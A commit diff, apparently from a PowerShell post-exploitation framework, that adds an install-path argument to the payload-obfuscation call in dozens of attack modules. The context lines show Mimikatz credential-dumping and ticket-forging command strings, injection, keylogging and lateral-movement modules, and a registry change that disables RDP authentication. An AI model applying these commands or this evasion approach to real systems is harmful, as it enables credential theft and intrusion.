Updated obfuscate function arguments in all powershell modules

lib/modules/powershell/code_execution/invoke_dllinjection.py

@@ -88,6 +88,6 @@ class Module:
                     scriptEnd += " -" + str(option) + " " + str(values['Value'])
 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/code_execution/invoke_metasploitpayload.py

@@ -72,6 +72,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py

@@ -127,6 +127,6 @@ class Module:
                     scriptEnd += " -" + str(option) + " " + str(values['Value'])
 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/code_execution/invoke_shellcode.py

@@ -145,6 +145,6 @@ class Module:
 
         scriptEnd += "; 'Shellcode injected.'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/code_execution/invoke_shellcodemsil.py

@@ -89,6 +89,6 @@ class Module:
                         sc = ",0".join(values['Value'].split("\\"))[1:]
                         scriptEnd += " -" + str(option) + " @(" + sc + ")"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/ChromeDump.py

@@ -103,6 +103,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/FoxDump.py

@@ -107,6 +107,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/USBKeylogger.py

@@ -79,6 +79,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/WebcamRecorder.py

@@ -216,5 +216,5 @@ Start-WebcamRecorder"""
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/collection/browser_data.py

@@ -103,6 +103,6 @@ class Module:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/clipboard_monitor.py

@@ -89,6 +89,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/file_finder.py

@@ -162,5 +162,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/collection/find_interesting_file.py

@@ -127,5 +127,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/collection/get_indexed_item.py

@@ -88,6 +88,6 @@ class Module:
         scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY"
         scriptEnd += " | fl | Out-String;"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/get_sql_column_sample_data.py

@@ -114,6 +114,6 @@ class Module:
         if no_defaults:
             scriptEnd += " -NoDefaults "
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/get_sql_query.py

@@ -89,6 +89,6 @@ class Module:
             scriptEnd += " -Instance "+instance
         scriptEnd += " -Query "+"\'"+query+"\'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/inveigh.py

@@ -232,6 +232,6 @@ class Module:
                         else:
                             scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/keylogger.py

@@ -77,6 +77,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/minidump.py

@@ -98,6 +98,6 @@ class Module:
                 if option != "Agent" and option != "ProcessName" and option != "ProcessId":
                     scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/netripper.py

@@ -117,6 +117,6 @@ class Module:
 
         scriptEnd += ";'Invoke-NetRipper completed.'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/ninjacopy.py

@@ -103,6 +103,6 @@ class Module:
                     
         scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/packet_capture.py

@@ -90,5 +90,5 @@ class Module:
             if persistent != "":
                 script += " persistent=yes"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/collection/prompt.py

@@ -120,5 +120,5 @@ Invoke-Prompt """
                     else:
                         script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/collection/screenshot.py

@@ -115,5 +115,5 @@ Get-Screenshot"""
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/collection/vaults/add_keepass_config_trigger.py

@@ -118,6 +118,6 @@ class Module:
         scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger "
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/vaults/find_keepass_config.py

@@ -90,6 +90,6 @@ class Module:
 
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/vaults/get_keepass_config_trigger.py

@@ -90,6 +90,6 @@ class Module:
 
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/vaults/keethief.py

@@ -90,6 +90,6 @@ class Module:
 
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/collection/vaults/remove_keepass_config_trigger.py

@@ -92,6 +92,6 @@ class Module:
         scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger "
         scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/credential_injection.py

@@ -151,6 +151,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/enum_cred_store.py

@@ -54,6 +54,6 @@ class Module:
 
         scriptEnd = "\n%s" %(scriptCmd)
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/invoke_kerberoast.py

@@ -124,6 +124,6 @@ class Module:
 
         scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/cache.py

@@ -76,6 +76,6 @@ class Module:
         scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';"
         
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/certs.py

@@ -73,6 +73,6 @@ class Module:
         # add in the cert dumping command
         scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/command.py

@@ -79,6 +79,6 @@ class Module:
         scriptEnd = "Invoke-Mimikatz -Command "
         scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/dcsync.py

@@ -100,6 +100,6 @@ class Module:
 
         scriptEnd += "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/dcsync_hashdump.py

@@ -109,6 +109,6 @@ class Module:
 
         scriptEnd += "| Out-String;"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/extract_tickets.py

@@ -72,6 +72,6 @@ class Module:
 
         scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/golden_ticket.py

@@ -150,6 +150,6 @@ class Module:
 
         scriptEnd += " /ptt\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/logonpasswords.py

@@ -78,6 +78,6 @@ class Module:
                 if values['Value'] and values['Value'] != '':
                     scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/lsadump.py

@@ -86,6 +86,6 @@ class Module:
 
         scriptEnd += "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/mimitokens.py

@@ -137,6 +137,6 @@ class Module:
 
         scriptEnd += "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/pth.py

@@ -126,6 +126,6 @@ class Module:
 
         scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/purge.py

@@ -74,6 +74,6 @@ class Module:
         # set the purge command
         scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/sam.py

@@ -76,6 +76,6 @@ class Module:
 
         scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/silver_ticket.py

@@ -162,6 +162,6 @@ class Module:
 
         scriptEnd += " /ptt\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/mimikatz/trust_keys.py

@@ -80,6 +80,6 @@ class Module:
         else:
             scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/powerdump.py

@@ -70,6 +70,6 @@ class Module:
 
         scriptEnd = "Invoke-PowerDump"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/sessiongopher.py

@@ -136,6 +136,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/tokens.py

@@ -155,6 +155,6 @@ class Module:
                 if self.options['RevToSelf']['Value'].lower() != "true":
                     scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/credentials/vault_credential.py

@@ -73,6 +73,6 @@ class Module:
         
         scriptEnd = "Get-VaultCredential"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/exfiltration/egresscheck.py

@@ -119,6 +119,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/exploitation/exploit_jboss.py

@@ -110,6 +110,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/exploitation/exploit_jenkins.py

@@ -95,6 +95,6 @@ class Module:
           scriptEnd += " -Cmd " + command
 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/inveigh_relay.py

@@ -193,6 +193,6 @@ class Module:
                         else:
                             scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/invoke_dcom.py

@@ -131,6 +131,6 @@ class Module:
 
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/invoke_executemsbuild.py

@@ -185,6 +185,6 @@ class Module:
 
         scriptEnd += " | Out-String"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/invoke_psexec.py

@@ -146,6 +146,6 @@ class Module:
 
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/invoke_psremoting.py

@@ -136,5 +136,5 @@ class Module:
 
                 script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script

lib/modules/powershell/lateral_movement/invoke_sqloscmd.py

@@ -132,6 +132,6 @@ class Module:
         if password != "":
             scriptEnd += " -Password "+password
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/invoke_sshcommand.py

@@ -123,6 +123,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/invoke_wmi.py

@@ -145,5 +145,5 @@ class Module:
 
                 script += ";'Invoke-Wmi executed on " +computerNames +"'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script

lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py

@@ -187,6 +187,6 @@ class Module:
 
         script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
 

lib/modules/powershell/lateral_movement/jenkins_script_console.py

@@ -121,6 +121,6 @@ class Module:
         scriptEnd += " -Port "+str(self.options['Port']['Value'])
         scriptEnd += " -Cmd \"" + launcher + "\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py

@@ -162,5 +162,5 @@ class Module:
 
                 script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
                 if obfuscate:
-                    script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                    script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
                 return script

lib/modules/powershell/management/disable_rdp.py

@@ -55,5 +55,5 @@ class Module:
         # command to enable NLA only if the enable runs successfully
         script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/downgrade_account.py

@@ -100,5 +100,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/enable_multi_rdp.py

@@ -73,6 +73,6 @@ class Module:
 
         scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/enable_rdp.py

@@ -57,5 +57,5 @@ class Module:
         # command to disable NLA
         script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
